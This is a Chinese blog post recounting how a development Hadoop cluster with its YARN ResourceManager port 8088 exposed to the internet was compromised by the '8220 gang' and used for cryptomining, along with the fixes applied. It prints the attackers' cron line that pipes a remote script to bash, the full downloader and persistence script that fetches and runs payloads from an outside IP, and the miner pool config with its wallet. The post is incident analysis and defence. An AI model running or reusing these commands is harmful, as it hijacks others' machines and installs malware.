2019独角兽企业重金招聘Python工程师标准>>>

问题发现

实际上是在写一个小东西的时候, 有一部分想看看 Kafka 的一些情况参考一下, 跑到开发集群上去看了看, 结果发现 Yarn 状态不对。 首先时看到 9 个 NodeManager 只有 1个是运行状态。 于是就遵循正常反应把这些宕掉的 NodeManager 起气来。 启动后, NodeManager 隔一会又宕机, 那就有些奇怪了。 于是去查看 Yarn 整个服务的状态:

  • CUP 状态:

  • 内存状态

  • 当前 Yarn 的情况:
  1. 1 个 Task Queue root.default, 所有任务提交到 root.default 队列
  2. 2 个 ResourceManager, 开启了 ResourceManager 的 HA
  3. 9 个 NodeManager
  • 日志情况
  1. ResourceManager

日志中充满这种错误, 引起原因是任务提交错误。

 ERROR metrics.SystemMetricsPublisher SystemMetricsPublisher.java:517 - Error when publishing entity [YARN_APPLICATION,application_1530068175881_82856], server side error code: 7
  1. NodeManager

大量 Job 错误日志

2019-01-14 16:53:39,178 WARN ipc.Client Client.java:886 - Failed to connect to server: master3.hadoop.ds.com/192.168.1.162:8031: retries get failed due to exceeded maximum allowed retries number: 0
java.net.ConnectException: Connection refusedat sun.nio.ch.SocketChannelImpl.checkConnect(Native Method)at sun.nio.ch.SocketChannelImpl.finishConnect(SocketChannelImpl.java:717)at org.apache.hadoop.net.SocketIOWithTimeout.connect(SocketIOWithTimeout.java:206)at org.apache.hadoop.net.NetUtils.connect(NetUtils.java:531)at org.apache.hadoop.net.NetUtils.connect(NetUtils.java:495)at org.apache.hadoop.ipc.Client$Connection.setupConnection(Client.java:650)at org.apache.hadoop.ipc.Client$Connection.setupIOstreams(Client.java:745)at org.apache.hadoop.ipc.Client$Connection.access$3200(Client.java:397)at org.apache.hadoop.ipc.Client.getConnection(Client.java:1618)at org.apache.hadoop.ipc.Client.call(Client.java:1449)at org.apache.hadoop.ipc.Client.call(Client.java:1396)at org.apache.hadoop.ipc.ProtobufRpcEngine$Invoker.invoke(ProtobufRpcEngine.java:233)at com.sun.proxy.$Proxy83.nodeHeartbeat(Unknown Source)at org.apache.hadoop.yarn.server.api.impl.pb.client.ResourceTrackerPBClientImpl.nodeHeartbeat(ResourceTrackerPBClientImpl.java:80)at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)at java.lang.reflect.Method.invoke(Method.java:498)at org.apache.hadoop.io.retry.RetryInvocationHandler.invokeMethod(RetryInvocationHandler.java:278)at org.apache.hadoop.io.retry.RetryInvocationHandler.invoke(RetryInvocationHandler.java:194)at org.apache.hadoop.io.retry.RetryInvocationHandler.invoke(RetryInvocationHandler.java:176)at com.sun.proxy.$Proxy84.nodeHeartbeat(Unknown Source)at org.apache.hadoop.yarn.server.nodemanager.NodeStatusUpdaterImpl$1.run(NodeStatusUpdaterImpl.java:701)at java.lang.Thread.run(Thread.java:748)
  • 当前情况说明

目前在开发集群中没有相关任务的提交, 严格来说, 从集群搭建好以后, 没有主动提交过任务, 包括 Hive 也没有使用。

但是集群中的任务情况如下:

root.default 队列已经有 20000 个正在等待的 task。

集群中无可用资源。

集群中有 9 个 Yarn Client, 可以提交任务, 同时可以通过 Spark, Hive 等提交任务。

问题排查

首先是查找这些 Task 的情况, 在 Yarn 的任务管理界面发现 ACCEPTED 状态的任务已经有 20000 个, 没有任何 Task 是 RUNNING 状态, 且优先级为 -1, 提交的用户为 Yarn。 同时查看任务情况, 任务提交日期为 230 天前。

查看有客户端的服务器, Yarn 的 history 为空, 即没有显式的提交任务。 这些任务是通过其他应用程序获取到 Yarn 用户的权限来提交。

由于 ACCEPTED 的 Task 较多, 将 Yarn 的 配置 disable, 重启 Yarn, 来释放所有任务, 重启 Yarn 服务后, 在启动后大概 1min 后, 开始有 Task 提交, 且申请的资源是从当前允许的最大资源量开始申请, 一直到最后申请的资源稳定到 2GB memory & 1 VCore。 刚重启后, 所有服务运行正常, 从第一个 Task 提交后, 开始有 NodeManager 宕掉, 分配一个任务到某个 NodeManager 后, 被分配任务的 NodeManager 宕掉。

发现Active ResourceManager的8088端口有异常 IP144.217.129.21 访问。 怀疑是由该 IP 提交的任务。 重启网络后, 在一段时间内不会新增任务, 配置访问 IP 限制, 限制了该网络后, 一段时间后, 有另一个异常 IP 与 Yarn 通信。 配置只有局域网可访问的情况下, 发现一个新的地址在访问 ResourceManager, 且仍然有任务在提交。 一段时间后(大概20min左右), 144.217.129.21 又重新开始访问 ResourceManager。联想到到被挖矿的案例。

这个集群从去年开始是由其他同学在维护,我被拉去做一些乱七八糟的事情,出现问题的时候有时候得去搭把手。然后不知道什么时候,有人把Yarn的8088端口映射到公网,而且映射端口号也是8088。能气死个人?

附: ResourceManager REST API’s., 提交任务的 URL 为: http://<rm http address:port>/ws/v1/cluster/apps

解决方案

  1. 通过 Kerberos 验证用户。
  2. 集群内部互通, 公共环境访问受限或者完全限制, 通过内部服务向外提供受限制的访问或调用方式。

NodeManager 问题

在解决好非法任务提交的问题后, 发现 NodeManager 仍然无法启动。 日志中也没有异常, 唯一一个问题是: 通过 yarn 用户查看启动日志时, 总会莫名其妙的丢失连接。 尝试手动启动 Yarn NodeManager 总会出现被 killed 的情况。 猜测可能和 yarn 用户相关。 切换其他用户手动启动 Yarn NodeManager, 发现并没有被 killed 的情况,证明猜想。查看定时任务日志并检查有没有异常的定时任务, 发现大量异常日志, 日志内容如下(重复日志, 只取其中一条):

<time> worker1 CROND[25382]: (yarn) CMD (wget -q -O - http://158.69.133.18:8220/12.jpg | bash -sh > /dev/null 2>&1)

日志中的 http://158.69.133.18:8220/12.jpg 为一个脚本, download 下来, 该脚本内容为:

#!/bin/sh
pkill -f 202.144.193.167
pkill -f /tmp/orgf
pkill -f YB1.conf
ps ax | grep -vw 'YB1.conf' | grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f kkk1.conf
pkill -f /var/tmp/look
netstat -antp | grep '198.13.59.244' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /tmp/tmp.*
netstat -antp | grep '127.0.0.1:1757' | grep 'LISTEN' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill -f 111.73.46.172
pkill -f gg1.conf
pkill -f orgfs
pkill -f dd1.conf
pkill -f 46.249.38.186
pid=$(cat /tmp/.tmp/bash.pid)
kill $pid >/dev/null 2>&1
rm -rf /var/tmp/tmp.txt
rm -rf /tmp/tmp.txt
mkdir /var/tmp/tmp
chmod 777 /var/tmp/tmp
rm -rf /var/tmp/java
rm -rf /var/tmp/ppl3
rm -rf /tmp/ppl3
rm -rf /tmp/java
ps aux | grep -vE 'java|pscf|bin|usr' | awk '{if($3>20.0) print $2}' | while read procid
do
kill -9 $procid
done
ps -fe|grep -w pcp|grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/tmp/pcp http://158.69.133.18:8220/a.json
curl -o /var/tmp/tmp/java http://158.69.133.18:8220/rig
curl -o /var/tmp/tmp/run http://158.69.133.18:8220/run
curl -o /var/tmp/tmp/a http://158.69.133.18:8220/a
curl -o /var/tmp/tmp/b http://158.69.133.18:8220/b
curl -o /var/tmp/tmp/e http://158.69.133.18:8220/e
curl -o /var/tmp/tmp/qwefdas1 http://158.69.133.18:8220/qwefdas1
curl -o /var/tmp/tmp/ppq http://158.69.133.18:8220/ppq
curl -o /var/tmp/tmp/1 http://158.69.133.18:8220/1
curl -o /var/tmp/tmp/h64 http://158.69.133.18:8220/h64
curl -o /var/tmp/tmp/u http://158.69.133.18:8220/u
chmod 777 /var/tmp/tmp/run
chmod 777 /var/tmp/tmp/a
chmod 777 /var/tmp/tmp/b
chmod 777 /var/tmp/tmp/qwefdas1
chmod 777 /var/tmp/tmp/ppq
chmod 777 /var/tmp/tmp/1
chmod 777 /var/tmp/tmp/u
chmod 777 /var/tmp/tmp/h64
chmod 777 /var/tmp/tmp/java
cd /var/tmp/tmp
./run >/dev/null 2>&1
./a >/dev/null 2>&1
./b >/dev/null 2>&1
./c >/dev/null 2>&1
./e >/dev/null 2>&1
name=$(echo $RANDOM | md5sum | cut -c 5-10)
fi
sleep 3
./$name
rm -rf /var/tmp/tmp/run
rm -rf /var/tmp/tmp/a
rm -rf /var/tmp/tmp/b
rm -rf /var/tmp/tmp/e
rm -rf /var/tmp/tmp/pcp
rm -rf /var/tmp/tmp/1
rm -rf /var/tmp/tmp/2
rm -rf /var/tmp/tmp/3
rm -rf /var/tmp/tmp/4
rm -rf /var/tmp/tmp/5
rm -rf /var/tmp/tmp/6
crontab -l | sed '/46.249.38.186/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/3389.space/d' | crontab -
crontab -l | sed '/upd/d' | crontab -
if crontab -l | grep -q "158.69.133.18:8220"
thenecho "Cron exists"
elseecho "Cron not found"LDR="wget -q -O -"if [ -s /usr/bin/curl ];thenLDR="curl";fiif [ -s /usr/bin/wget ];thenLDR="wget -q -O -";fi(crontab -l 2>/dev/null; echo "* * * * * $LDR http://158.69.133.18:8220/12.jpg | bash -sh > /dev/null 2>&1")| crontab -
f158.69.133.18:8220/
nohup ./u >/dev/null &
cp qwefdas1 $name
chmod 777 $name
./&name disown
./&name
screen -S 1
./$name
echo "runing....."

通过上面地址找到配置:

{"algo": "cryptonight","api": {"port": 0,"access-token": null,"id": null,"worker-id": null,"ipv6": false,"restricted": true},"asm": true,"autosave": true,"av": 0,"background": true,"colors": true,"cpu-affinity": null,"cpu-priority": 5,"donate-level": 1,"huge-pages": true,"hw-aes": null,"log-file": null,"max-cpu-usage": 95,"pools": [{"url": "158.69.133.18:80","user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg","pass": "x","rig-id": null,"nicehash": false,"keepalive": true,"variant": -1,"tls": false,"tls-fingerprint": null},{"url": "192.99.142.249:3333","user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg","pass": "x","rig-id": null,"nicehash": false,"keepalive": true,"variant": -1,"tls": false,"tls-fingerprint": null},{"url": "202.144.193.110:3333","user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg","pass": "x","rig-id": null,"nicehash": false,"keepalive": true,"variant": -1,"tls": false,"tls-fingerprint": null}],"print-time": 60,"retries": 5,"retry-pause": 5,"safe": false,"threads": {"cn": [{"low_power_mode": 1,"affine_to_cpu": false,"asm": true},{"low_power_mode": 1,"affine_to_cpu": false,"asm": true}],"cn-lite": [{"low_power_mode": 1,"affine_to_cpu": false,"asm": true},{"low_power_mode": 1,"affine_to_cpu": false,"asm": true}],"cn-heavy": [{"low_power_mode": 1,"affine_to_cpu": false,"asm": true},{"low_power_mode": 1,"affine_to_cpu": false,"asm": true}]},"algo-perf": {"cn": 2.0,"cn/2": 2.0,"cn/msr": 2.0,"cn-lite": 2.0,"cn-heavy": 2.0},"calibrate-algo": false,"calibrate-algo-time": 10,"user-agent": null,"syslog": false,"watch": false
}

http://158.69.133.18:8220/righttp://158.69.133.18:8220/h64 的地址是一个可执行文件, http://158.69.133.18:8220/u 配置 crontab, http://158.69.133.18:8220/ppq 是启动脚本, http://158.69.133.18:8220/qwefdas1 脚本看内容是在配置什么东西, 其余的 URL 的脚本如下:

#!/bin/bash
HIDE="/.tmp/java-"
./h64 -s $HIDE ./java -c pcp  >>/dev/null &

没有检查到任何这几个文件相关的内容和相关进程, 同时也没找到被替换的系统指令, 可以认定隐患已经清除。

关于这次安全隐患, 主要来自 "8220团伙", 详细的说明可以参考以下文章:

  • 疑似国内来源的“8220挖矿团伙”追踪溯源分析
  • “8220团伙”最新活动分析:挖矿木马与勒索病毒共舞
  • 疑似国内某知名团伙的最新挖矿脚本分析
  • 恶意挖矿攻击的现状、检测及处置
  • Hadoop Yarn REST API未授权漏洞利用挖矿分析

转载于:https://my.oschina.net/u/3034870/blog/3019186

Yarn 问题发现与解决相关推荐

  1. win8 发现不了网络计算机,Windows8系统无法开启网络发现如何解决

    网络发现是一种网络设置,开启网络发现可以查看网络上的其他计算机和设置,以及网络上的其他计算机是否可以查看您的计算机,然而有windows8系统用户却发现无法开启网络发现,该如何处理呢?现在给大家分享一 ...

  2. 无法启用网络发现的解决方法

    无法启用网络发现的解决方法 网络发现功能可以帮助我们无须手动搜索网络,就自动寻找周围可以连接的网络进行连接,但有时候会发现突然无法启用网络发现,这时候只要进入服务列表开启相关服务即可. 第一步,右键此 ...

  3. 服务器被攻击的发现和解决过程

    记一次服务器被攻击的发现和解决过程 这是之前2018年左右,买阿里云服务器之后,服务器被攻击,当时的记录信息,现在整理一下 出现的问题 解决思路和解决过程 解决思路: 解决步骤: 思考:为什么会出现这 ...

  4. 发现无法解决的相同从属程序集的不同版本之间的冲突

    本文翻译自:Found conflicts between different versions of the same dependent assembly that could not be re ...

  5. 阿里云redis热点key问题的发现与解决

    热点key问题的发现与解决 本页目录 热点问题概述 热点问题的危害 常见解决方案 阿里云数据库解热点之道 两种方案对比 在Redis中,访问频率高的key称为热点key.热点key处理不当容易造成Re ...

  6. spark on yarn 配置及异常解决

    转载请务必注明原创地址为:https://dongkelun.com/2018/04/16/sparkOnYarnConf/ 前言 YARN 是在Hadoop 2.0 中引入的集群管理器,它可以让多种 ...

  7. 60亿击败1750亿、验证胜过微调:OpenAI发现GPT-3解决数学题,并非参数越大越好...

    视学算法报道 编辑:杜伟.陈 现在,OpenAI 的模型也具备解决小学数学应用题的能力了. 简单的小学数学应用问题,对于人类来说不算什么,但对于模型来说,可能是有难度的. 比如问题:安东尼有 50 支 ...

  8. button按钮无法提交表单问题发现与解决

    前些天,我在用html制作登录框时遇到一个问题,form表单中的button不能提交表单中的数据. 相信你知道,input的type="submit"有提交表单的功能,当然,我们自 ...

  9. Redis 热 Key 发现以及解决办法

    背景介绍 最近在技术交流微信群里看大家讨论技术,其中有谈到 Redis 热 Key 的一些问题解决方案,我也仔细思考了一下我们目前系统中 Redis 的使用场景,我们是不是也存在热 Key 问题,或者 ...

最新文章

  1. 深入理解 Linux Cgroup 系列(二):玩转 CPU
  2. 只有一流的人才能干出一流的工作,只有具备大量一流的人才的企业才能成为一流的企业...
  3. 贝叶斯数据分析_周末说说数据分析(2)
  4. ACE中的Proactor介绍和应用实例
  5. 有序数组求中位数问题
  6. jquery iframe 返回上一页_你不需要jQuery
  7. Source Insight Source Navigator使用技巧
  8. 硬件:RS232基础知识笔记
  9. mysql 嵌套if标签_对比Excel、MySQL、Python,分别讲述 “if函数” 的使用原理!
  10. Java基础常见的面试题
  11. Day5 - 前端高频面试题之计算机网络相关
  12. html悬停显示图片,JS实现悬停单元格显示图片
  13. layui按条件隐藏表格列
  14. thinkphp上传图片并jquery预览
  15. 近世代数 [计算机数学专题(3)]
  16. 高斯 matlab程序,一个计算高斯积分点坐标和权的MATLAB程序
  17. 全速jpg转换成pdf转换器v1.0官方版
  18. java jfif,win10保存图片成了jfif格式怎么办?
  19. OpenKG 祝大家 2021 新年快乐 —「2020 精选文章汇编」
  20. 数据结构课程设计——电话号码查询系统(C语言)

热门文章

  1. 办公室影响同事关系的九种行为
  2. OpenLayer + Ags 综合应用(一)--OpenLayer 地图展现
  3. Jsp实现网上彩票销售系统
  4. python数据分析——世界杯分析预测
  5. 机器学习基础专题:线性回归
  6. 从零开始一个http服务器(五)-模拟cgi
  7. python3: print()函数:def,end关键字介绍
  8. sql server 根据身份证号计算出生日期和年龄的存储过程
  9. Jquery : 上下滚动--单行 批量多行 文字图片翻屏【转】
  10. JQ-CSS-实现导航菜单效果